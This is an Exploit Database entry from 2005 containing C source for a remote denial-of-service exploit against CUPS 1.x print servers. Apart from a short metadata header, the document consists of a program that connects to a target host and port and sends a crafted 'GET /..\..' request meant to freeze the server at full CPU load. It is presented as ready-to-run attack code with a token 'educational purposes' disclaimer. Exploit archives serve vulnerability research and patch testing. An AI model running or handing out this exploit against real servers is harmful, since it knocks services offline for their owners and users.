CUPS Server 1.1 - GET Denial of Service

EDB-ID:

1196

CVE:

N/A


Author:

tracewar

Type:

dos


Platform:

Linux

Date:

2005-09-05


/* dl-cups.c v0.1
 * CUPS server freeze and processor load "fuckup" exploit
 * bug found and exploit coded by tracewar  (darklogic team)
 * for educaional purposes only.
 *****************************************************************
 * greetz goes to:
 * setuid, matan.
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

char EVIL[] = "\x2e\x2e\x5c\x2e\x2e";

void usage(char *argv0) {
	fprintf(stdout, "cups/1.x server freeze and remote cpu usage fuckup\n");
	fprintf(stdout, "exploit coded and bug found by tracewar of darklogic\n\n");
	fprintf(stdout, "usage: %s remote_host remote_port\n", argv0);
	exit(0);
}

int main(int argc, char **argv) {
	char	buffer[50] = "GET /";
	int	sock;
        struct	sockaddr_in	serv_addr;
        struct	hostent	*crap;

	if(argc != 3)
		usage(argv[0]);

	printf("# Making our evil buffer... ");	
	snprintf(&buffer[5], 47, "%s", EVIL);        
	strcat(buffer, "\r\n");
	printf("(done)\n");

        sock = socket(AF_INET, SOCK_STREAM, 0);
        if(sock < 0)
                return printf("# error creating socket.\n");
        crap = gethostbyname(argv[1]);
        if(crap == NULL)
                return printf("# cant resolve the specified hostname: %s\n", argv[1]);
        else
                printf("# connecting to victim... ");

        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(atoi(argv[2]));
        bcopy((char *)crap->h_addr, (char *)&serv_addr.sin_addr.s_addr, crap->h_length);

        if (connect(sock, &serv_addr, sizeof(serv_addr)) < 0)
                return printf("(error)\n# check again %s:%d\n", argv[1], atoi(argv[2]));

        printf("(done)\n# sending crafted string... ");
        if( (send(sock, buffer, strlen(buffer), 0)) == -1 )
                return printf("\n# error while sending the crafted string.!\n");
	close(sock);
        return puts("(done)\n# The server should be frozen now with 100\% cpu usage.");

}

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